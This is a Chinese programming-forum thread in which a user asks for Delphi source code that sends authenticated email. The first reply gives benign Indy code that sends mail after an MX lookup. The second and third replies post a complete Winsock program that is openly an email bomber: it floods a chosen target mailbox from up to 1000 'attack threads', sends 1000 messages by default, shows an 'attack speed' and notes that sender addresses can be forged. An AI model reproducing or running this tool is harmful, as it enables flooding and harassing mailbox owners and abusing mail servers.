请问谁有用API函数发送邮件的源程序?能给我一份吗?谢谢,分不够可以再给!(要能通过身份验证的)
Email:[email protected]

解决方案 »

  1.   

    type 
    TForm1 = class(TForm) 
    IdDNSResolver: TIdDNSResolver; 
    IdAntiFreeze1: TIdAntiFreeze; 
    btnSend: TButton; 
    IdSMTP: TIdSMTP; 
    IdMsgSend: TIdMessage; 
    mmContent: TMemo; 
    Label1: TLabel; 
    edtTo: TEdit; 
    Label4: TLabel; 
    Label5: TLabel; 
    edtFrom: TEdit; 
    Label6: TLabel; 
    edtSubject: TEdit; 
    procedure btnSendClick(Sender: TObject); 
    private 
    { Private declarations } 
    procedure GetMxList(AMxList: TStringList; AQName: string); 
    public 
    { Public declarations } 
    end; 
     
    var 
    Form1: TForm1; 
     
    implementation 
     
    {$R *.dfm} 
     
    { TForm1 } 
     
    { 这个过程是用来得到邮件特快专递目的地服务器名称及优先级别数,参数AMXList是 
    用来接收结果值,AQName代表传递过来的域名 } 
    procedure TForm1.GetMxList(AMxList: TStringList; AQName: string); 
    var 
    i: Integer; 
    begin 
    with IdDNSResolver do 
    begin 
    Host := '202.101.107.55'; { Host属性用来指定域名服务器的地址,此处为笔者所在地 
    的主域名服务器地址,你也可以指定任一可以快速访问到的Internet上域名服务器 
    地址,要知道自己所在地的域名服务器地址,win98下通过winipcfg命令,win2000下 
    通过ipconfig /all即可查出。} 
    ReceiveTimeout := 10000; // 在指定的时间内得不到域名服务器的反馈,则视为失败。 
    ClearVars; // 清除前一次查询所反馈回来的资源记录 
     
    { 构建此次查询的头部结构 } 
    with DNSHeader do 
    begin 
    Qr := False; // False 代表查询 
    Opcode := 0; // 0代表标准域名查询 
    RD := True; //域名服务器可以进行递归查询 
    QDCount := 1; //查询的数量 
    end; 
     
    { 构建要查询的问题 } 
    DNSQDList.Clear; 
    with DNSQDList.Add do 
    begin 
    QName := AQName; //要查询的域名 
    QType := cMX; //QTYPE指定要查询的资源记录的种类,值为cMX代表邮件交换记录 
    QClass := cIN; 
    end; 
     
    ResolveDNS; //向域名服务器发出请求 
     
    { 从域名服务器接收反馈的结果,将反馈回来的邮件服务器名称放在AMXList列表的Name
    部分, 
    邮件服务器的优先级别数放在Value部分。 } 
    for i := 0 to DNSAnList.Count - 1 do 
    AMxList.Add(DNSAnList[i].RData.MX.Exchange + '=' + 
    IntToStr(DNSAnList[i].RData.MX.Preference)); 
    end; 
    end; 
     
    { 单击"发送"按钮时发送专递邮件 } 
    procedure TForm1.btnSendClick(Sender: TObject); 
    var 
    MxList: TStringList; 
    i: Integer; 
    QName, ThoughAddress: string; 
    begin 
    { 根据用户所填写的内容创建邮件 } 
    with IdMsgSend do 
    begin 
    Body.Assign(mmContent.Lines); //邮件正文 
    From.Address := Trim(edtFrom.Text); //发件人地址 
    Recipients.EMailAddresses := Trim(edtTo.Text); //收件人地址 
    Subject := edtSubject.Text; //邮件主题 
    end; 
     
    { 从输入的收件人地址中取出邮箱域名,利用前面的GetMxList过程得到目的地地址 } 
    QName := TrimRight(copy(edtTo.Text, Pos('@', edtTo.Text) + 1, Length(edtTo.Text))); 
    MxList := TStringList.Create; 
    try 
    GetMxList(MxList, QName); 
    ThoughAddress := MxList.Names[0]; {取反馈回来的第一个服务器为目的地,读者可 
    根据实际需要改进,比如说考虑到信件的优先级或当你选择的服务器因繁忙而暂时 
    不能处理你的信件时,换用其它服务器试试 } 
    finally 
    MxList.Free; 
    end; 
     
    { 发送邮件 } 
    with IdSMTP do 
    begin 
    Host := ThoughAddress; // 将Host赋值为目的地,这就是特快专递与普通邮件的区别 
    Port := 25; // smtp服务默认的端口为25 
    Connect; //连接到服务器 
    try 
    Send(IdMsgSend); //发送刚才创建的邮件 
    ShowMessage('发送完毕'); //发送完毕后提示 
    finally 
    Disconnect; //断开服务器连接 
    end; 
    end; 
    end; 
     
    end. 
      

  2.   

    uses
      windows,messages,winsock,sysutils;{$R *.RES}const
      CRLF=#13#10;
      exename:pchar='邮箱信使';
    var
      thd:array[1..1000] of integer;
      tid:array[1..1000] of dword;
      faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;
      s1:string;
      sbuf:array[0..1024] of char;
      dest:string;
      attstart:boolean;
    //----------------------
      wClass:   TWndClass;   //窗口类变量
      Msg:      TMSG;        //消息变量
      hInst,                 //程序实例
      Handle,                //主窗口句柄
      hFont,                 //字体句柄
    //----------------
      hButtonStart,   //开始按钮
      hButtonStop,    //停止按钮
      hButtonHelp,    //帮助按钮
      hButtonExit,    //退出按钮
      hEditEmail,     //e-mail编辑
      hEditCount,     //次数编辑
      hEditThread,    //线程数编辑
      hLabelEmail,    //e-mail提示
      hLabelCount,    //次数提示
      hLabelThread,   //线程数提示
      hLabelInfo      //领息提示
      :integer;          //句柄类型
    //--------------------
    //往一个窗口写标题
    procedure WriteCaption(hwnd:hwnd;text:pchar);
    begin
      sendmessage(hwnd,WM_SETTEXT,0,integer(text));
    end;
    //从一个窗口读标题
    procedure ReadCaption(hwnd:hwnd;text:pchar);
    begin
      sendmessage(hwnd,WM_GETTEXT,400,integer(text));
    end;
    //以下是网络连接的过程
    function StartNet(host:string;port:integer):integer;
    var
      wsadata:twsadata;
      fsocket:integer;
      SockAddrIn:TSockAddrIn;
      err:integer;
    begin
      //为网络连接作好准备(用winsock1.1以上版本)
      err:=WSAStartup($0101,WSAData);
      //创建一个客户端套接字(Client Socket,用SOCK_STREAM,即TCP协义)
      FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
      //初始化网络数据
      SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));
      SockAddrIn.sin_family := PF_INET;
      SockAddrIn.sin_port :=htons(port);
      //客户端向smtp进行连接
      repeat
      err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
      until err=0;
      //
      Result:=FSocket;
    end;
    //以下是网络关闭的过程
    procedure StopNet(Fsocket:integer);
    var
      err:integer;
    begin
      //发信结束,关闭客户端套接字(Close Client Socket)
      err:=closesocket(FSocket);
      //清除网络参数
      err:=WSACleanup;
    end;
    //下面是个发送数据包的过程
    function SendData(FSocket:integer;SendStr:string):integer;
    const
      MaxSize=1024;
    var
      DataBuf,databuf1:array[0..MaxSize] of char;
      err:integer;
      p:integer;
      s:string;
    begin
      err:=recv(FSocket,DataBuf,MaxSize,0);
      p:=strtoint(copy(databuf,1,3));
      if (p=250) and (sendok=false) then  //开始验证用户名和密码 这是我自己加
    进去的~关键就在这里~
      begin
        databuf:='auth login'+CRLF;
        err:=send(FSocket,databuf,strlen(databuf)+1,MSG_DONTROUTE);
        err:=recv(FSocket,DataBuf,MaxSize,0);
        p:=strtoint(copy(databuf,1,3));    s:=EncodeBase64(smtpuser)+CRLF;  //smtpuser:为邮箱用户名
        strcopy(databuf,pchar(s));
        err:=send(FSocket,databuf,strlen(databuf)+1,MSG_DONTROUTE);
        err:=recv(FSocket,DataBuf,MaxSize,0);
        p:=strtoint(copy(databuf,1,3));    s:=EncodeBase64(smtppwl)+CRLF;  //smtppwl:为邮箱密码
        strcopy(databuf,pchar(s));
        databuf:=databuf;
        err:=send(FSocket,databuf,strlen(databuf)+1,MSG_DONTROUTE);
        err:=recv(FSocket,DataBuf,MaxSize,0);
        p:=strtoint(copy(databuf,1,3));
        if p=235 then
          sendok:=true;
      end;
      strcopy(DataBuf,pchar(SendStr));
      err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);
      Result:=0;
    end;
      

  3.   

    //下面是个发信的过程
    procedure SendMail;
    var SendBody:string;
      FSocket:integer;
    begin
      repeat
        //指定smtp主机地址,这里用的是smtp.sina.com.cn,它的ip为
    (202.106.187.180)
        //指定smtp主机的发信端口,默认为25
        FSocket:=StartNet('202.106.187.180',25);
        //-------下面是发信过程的各步处理-------
        //---------------------------------------
        //第一步:发HELO指令,表示我要开始发信了
        SendData(FSocket,'HELO'+CRLF);
        //第二步:发MAIL FROM指令,表示发信人的信箱
        //   注意现在很多SMTP主机有只能允许本地合法用户发信
        //   所以发信者的信箱在发信主机中应是一个合法用户
        //   否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户
        SendData(FSocket,'MAIL FROM: <[email protected]>'+CRLF);
        //第三步:发RCPT TO指令,表示目标用户的邮箱,就是你要攻击者的邮箱
        //   这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度
        //   但对163.net好象不行,他加了过滤机制
        SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF);
        //第四步:发DATA指令,表示要向SMTP主机发数据
        SendData(FSocket,'DATA'+CRLF);
        //第五步:发具体数据,包括如下内容(信封和信体):
        //      From:表示发信者的地址,可以是假的用户(可以随机产生),后面以
    CRLF(即回车换行符)结束
        //      TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结

        //      Subject:表示邮件主题,后面以CRLF结束
        //      后面一定要再加一个CRLF,表示信封部分结束了
        //      接下来是信的主体内容,可以是任何内容,后面以CRLF结束
        //      然后一定要再加一个.符号,表示信体结束,后面以CRLF结束
        SendBody:='From:"bome 2001"<[email protected]>'+CRLF
                 +'To:"bome 2001"<[email protected]>'+CRLF
                 +'Subject:New Bome 2001.'+CRLF
                 +CRLF
                 +'Hello World.'+CRLF
                 +'.'+CRLF;
        SendData(FSocket,SendBody);
        //第六步:发结QUIT指令,表示发信过程结束
        SendData(FSocket,'QUIT'+CRLF);
        //
        waitforsingleobject(hMutex,INFINITE);
        //显示发信过程的剩余邮件数目
        WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'
    还有 '+inttostr(count)+' 封邮件 '+CRLF+
        '正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+
        '经过时间: '+inttostr(newtime div 1000)+' 秒'));
        //总次数减一
        Dec(count);
        //调用发信过程,进行发信
        newtime:=integer(gettickcount())-oldtime;
        speed:=mcount*1000*60 div newtime;
        WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'));
        inc(mcount);
        //sleep(300);
        if count<=0 then break;
        releasemutex(hMutex);
        //
        StopNet(Fsocket);
      until count<=0;
    end;
    //------------------------------------
    //以下是线程创建时调用的线程函数
    function fun(Parameter: Pointer): Integer; stdcall;
    begin
        SendMail;
        WriteCaption(handle,exename);
        WriteCaption(hLabelInfo,pchar('发送结束'));
        attstart:=true;
        result:=0;
    end;procedure ButtonStart;
    var k:integer;
    begin
      if attstart=true then
      begin
        attstart:=false;
        WriteCaption(hLabelInfo,pchar('发送开始........'));
        ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf);
        ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf));
        ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf));
        oldtime:=gettickcount();
        mcount:=0;
        if Num>1000 then Num:=1000;
        for k:=1 to Num do
        thd[k]:=createthread(nil,0,@fun,nil,0,tid[k]);
      end;
    end;procedure ButtonStop;
    var k:integer;
    begin
      for k:=1 to Num do
      TerminateThread(thd[k],0);
      WriteCaption(handle,exename);
      WriteCaption(hLabelInfo,pchar('发送结束'));
      attstart:=true;
      count:=0;
    end;procedure MainCreate;
    begin
      attstart:=true;
      hMutex:=createmutex(nil,true,'Bome2001');
      releasemutex(hMutex);
    end;procedure ButtonHelp;
    begin
      s1:='本软件只用学习用,不可害人'+CRLF+
          '程序使用多线程100个线程,发送速度极快!'+CRLF;  messagebox(handle,pchar(s1),'帮助',0);
    end;
    //主程序结束
    procedure ShutDown;
    begin
      CloseHandle(hMutex);
      //删除字体对象
      DeleteObject(hFont);
      //取消窗口类的注册
      UnRegisterClass(wClass.lpszClassName,hInst);
      //结束主进程
      ExitProcess(hInst);
    end;
    //这是主窗口的消息处理函数
    function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
    begin
      Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
      case Msg of
      WM_COMMAND:
        if lParam=hButtonStart then ButtonStart
        else if lParam=hButtonStop then ButtonStop
        else if lParam=hButtonHelp then ButtonHelp
        else if lParam=hButtonExit then ShutDown;
      WM_CREATE:MainCreate;
      WM_DESTROY: ShutDown;
      end;
    end;
    //定义几个窗口创建函数
    function CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begin
    Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
    or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
    function CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begin
    Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or WS_CHILD
    or ES_LEFT or ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;
    function CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begin
    Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or
    SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
    function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
    begin
      //取得应用程序实例句柄
      hInst:=GetModuleHandle(nil);
      //初使化窗口类的信息
      with wClass do
      begin
        Style:=         CS_PARENTDC;
        hIcon:=         LoadIcon(hInst,'MAINICON');
        lpfnWndProc:=   @WindowProc;
        hInstance:=     hInst;
        hbrBackground:= COLOR_BTNFACE+1;
        lpszClassName:= 'MainClass';
        hCursor:=       LoadCursor(0,IDC_ARROW);
      end;
      // 注册窗口类
      RegisterClass(wClass);
      // 建立主窗口
      Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or
    WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
    end;//---------主过程,类似于 C语言 中的 WinMain()
    begin
      //建立主窗口
      handle:=CreateMain(exename,10,10,320,135);
      //建立四个控制按钮
      hButtonStart:=CreateButton('发送攻击',240,4+26*0,70,24);
      hButtonStop:=CreateButton('停止发送'  ,240,4+26*1,70,24);
      hButtonHelp:=CreateButton('帮  助'  ,240,4+26*2,70,24);
      hButtonExit:=CreateButton('退  出'  ,240,4+26*3,70,24);
      //建立两个编辑框
      hEditEmail:=CreateEdit('[email protected]',60,4,174,20);
      hEditCount:=CreateEdit('1000',60,4+26*1,60,20);
      hEditThread:=CreateEdit('10',193,4+26*1,41,20);
      //建立三个标签
      hLabelEmail:=CreateLabel('发送目标:',4,8,54,24);
      hLabelCount:=CreateLabel('发送次数:',4,8+26*1,54,24);
      hLabelThread:=CreateLabel('线程数:',124,8+26*1,66,24);
      hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44);
      //创建字体对象hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP
    _DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');
      //改变字体
      SendMessage(hButtonStart,WM_SETFONT,hFont,0);
      SendMessage(hButtonStop,WM_SETFONT,hFont,0);
      SendMessage(hButtonHelp,WM_SETFONT,hFont,0);
      SendMessage(hButtonExit,WM_SETFONT,hFont,0);
      SendMessage(hEditEmail,WM_SETFONT,hFont,0);
      SendMessage(hEditCount,WM_SETFONT,hFont,0);
      SendMessage(hEditThread,WM_SETFONT,hFont,0);
      SendMessage(hLabelEmail,WM_SETFONT,hFont,0);
      SendMessage(hLabelCount,WM_SETFONT,hFont,0);
      SendMessage(hLabelThread,WM_SETFONT,hFont,0);
      SendMessage(hLabelInfo,WM_SETFONT,hFont,0);
      //进入消息循环
      while(GetMessage(Msg,Handle,0,0))do
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
    end.